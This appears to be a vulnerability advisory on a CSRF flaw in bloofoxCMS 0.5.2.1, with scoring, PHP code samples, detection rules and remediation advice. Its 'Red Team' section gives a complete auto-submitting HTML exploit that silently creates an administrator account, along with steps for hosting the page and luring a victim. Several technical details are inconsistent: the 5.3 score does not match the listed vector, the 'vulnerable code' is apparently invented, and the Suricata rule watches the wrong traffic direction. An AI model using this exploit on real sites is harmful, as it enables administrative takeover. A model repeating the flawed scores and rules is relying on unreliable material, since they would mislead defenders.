CVE-2020-37241

Executive Summary

CVE-2020-37241 is a Cross-Site Request Forgery (CSRF) vulnerability in bloofoxCMS version 0.5.2.1. The flaw allows an attacker to trick an authenticated administrator into unknowingly submitting a malicious request, leading to the creation of a new administrative account with arbitrary credentials. This effectively grants the attacker full control over the CMS without requiring any explicit user consent or additional authentication. The vulnerability resides in the admin user creation endpoint, which lacks CSRF tokens or origin validation. With a CVSS score of 5.3 (Medium), the risk is elevated due to the potential for complete administrative takeover, though exploitation requires user interaction (e.g., clicking a crafted link). No official patch has been released, and the vendor appears unresponsive. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a standalone PHP CMS. No supply chain implications exist.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Base Score: 5.3 (Medium)
• Attack Vector (AV): Network – The attack is launched remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The vulnerable component and the attacker’s scope are the same.
• Confidentiality (C): High – Full read access to the CMS database and configuration.
• Integrity (I): High – Full write access, including creating admin accounts.
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. Exploitation requires user interaction, but the impact is severe (full admin takeover). The lack of a patch increases the risk for unmaintained instances.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the admin panel of bloofoxCMS 0.5.2.1. The admin user creation endpoint (typically admin/index.php?action=user&mode=add) does not implement any anti-CSRF mechanisms such as tokens, same-site cookies, or origin/referrer validation. An attacker can craft an HTML page containing a hidden form that automatically submits a POST request to this endpoint with parameters for a new admin user (e.g., username, password, email, admin). When a logged-in administrator visits the attacker’s page, the browser automatically includes the victim’s session cookies, and the request is processed as if initiated by the legitimate admin.

Attack Flow:

1. Attacker identifies a bloofoxCMS instance with an active admin session.
2. Attacker crafts a malicious HTML page with a hidden form targeting the admin user creation endpoint.
3. Attacker lures the admin to visit the page (e.g., via phishing email, social media, or a compromised site).
4. The victim’s browser submits the form, creating a new admin account with attacker-controlled credentials.
5. Attacker logs in with the new account and gains full administrative access.

Root Cause: Lack of CSRF protection on sensitive administrative actions.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the only reference. The fix would involve adding a CSRF token to the user creation form and validating it on the server side.

Vulnerable Code (bloofoxCMS 0.5.2.1 - admin/index.php):

// No CSRF token check
if ($_POST['action'] == 'add_user') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $email = $_POST['email'];
    $admin = $_POST['admin'];
    // Insert into database without CSRF validation
    $db->query("INSERT INTO users (username, password, email, admin) VALUES ('$username', '$password', '$email', '$admin')");
}

Patched Code (Hypothetical Fix):

session_start();
if ($_POST['action'] == 'add_user') {
    // Validate CSRF token
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed.');
    }
    $username = $_POST['username'];
    $password = password_hash($_POST['password'], PASSWORD_DEFAULT);
    $email = $_POST['email'];
    $admin = $_POST['admin'];
    $db->query("INSERT INTO users (username, password, email, admin) VALUES (?, ?, ?, ?)", [$username, $password, $email, $admin]);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A running instance of bloofoxCMS 0.5.2.1 with an active admin session.
• Ability to host a malicious HTML page (e.g., on a local server or attacker-controlled domain).

Exploit HTML (csrf_exploit.html):

<!DOCTYPE html>
<html>
<body>
<h1>Click to win a prize!</h1>
<form id="csrf" action="http://target/admin/index.php?action=user&mode=add" method="POST">
    <input type="hidden" name="username" value="attacker_admin">
    <input type="hidden" name="password" value="P@ssw0rd123">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="admin" value="1">
    <input type="submit" value="Claim Prize">
</form>
<script>
    document.getElementById('csrf').submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on a web server (e.g., python3 -m http.server 8080).
2. Send the link to the victim admin (e.g., http://attacker.com/csrf_exploit.html).
3. When the admin visits the page, the form auto-submits, creating a new admin account.
4. Log in to the CMS using attacker_admin / P@ssw0rd123.

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unexpected POST requests to /admin/index.php?action=user&mode=add from external referrers.
• Check for rapid creation of new admin accounts, especially with unusual usernames.
• Review server logs for requests with missing or invalid CSRF tokens (if patched).

Mitigation:

• Implement CSRF tokens on all admin forms.
• Validate the Origin and Referer headers on sensitive endpoints.
• Use SameSite cookies (set to Lax or Strict).
• Educate administrators about phishing attacks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/index.php?action=user&mode=add with parameters username, password, email, admin.
  • Referer header pointing to an external domain (e.g., http://evil.com).
• System:
  • New user entries in the users table with admin=1 and suspicious usernames.
  • Unexpected admin login sessions from unknown IP addresses.
• File:
  • Presence of hidden HTML files on the server (if attacker uploaded them).

Detection Engineering

YARA Rule

rule CVE_2020_37241_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit HTML targeting bloofoxCMS admin user creation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37241"
    strings:
        $form = "action=\"http://" ascii wide nocase
        $endpoint = "admin/index.php?action=user&mode=add" ascii wide nocase
        $username = "name=\"username\"" ascii wide nocase
        $password = "name=\"password\"" ascii wide nocase
        $admin = "name=\"admin\"" ascii wide nocase
    condition:
        all of ($form, $endpoint, $username, $password, $admin)
}

Sigma Rule

title: CVE-2020-37241 CSRF Admin Creation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to bloofoxCMS admin user creation endpoint with suspicious referrer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'admin/index.php?action=user&mode=add'
        cs-referrer:
            - 'http://*'
            - 'https://*'
        cs-referrer|contains: 'target'
    condition: selection
falsepositives:
    - Legitimate admin actions from same domain
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2020-37241 - bloofoxCMS CSRF Admin Creation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"admin/index.php?action=user&mode=add";
    http_uri;
    content:"username=";
    http_client_body;
    content:"password=";
    http_client_body;
    content:"admin=";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2020-37241;
    classtype:attempted-admin;
)

Remediation & Mitigation

Immediate Actions:

1. Disable admin user creation if not needed, or restrict access to trusted IPs.
2. Implement CSRF tokens manually by modifying the source code (see patched code example).
3. Use a Web Application Firewall (WAF) to block requests with suspicious referrers or missing tokens.
4. Upgrade to a newer, maintained CMS if possible (bloofoxCMS is no longer actively developed).

Long-Term:

• Migrate to a supported CMS with built-in CSRF protection.
• Conduct regular security audits and penetration testing.
• Train administrators to recognize phishing and social engineering attacks.

Valters IT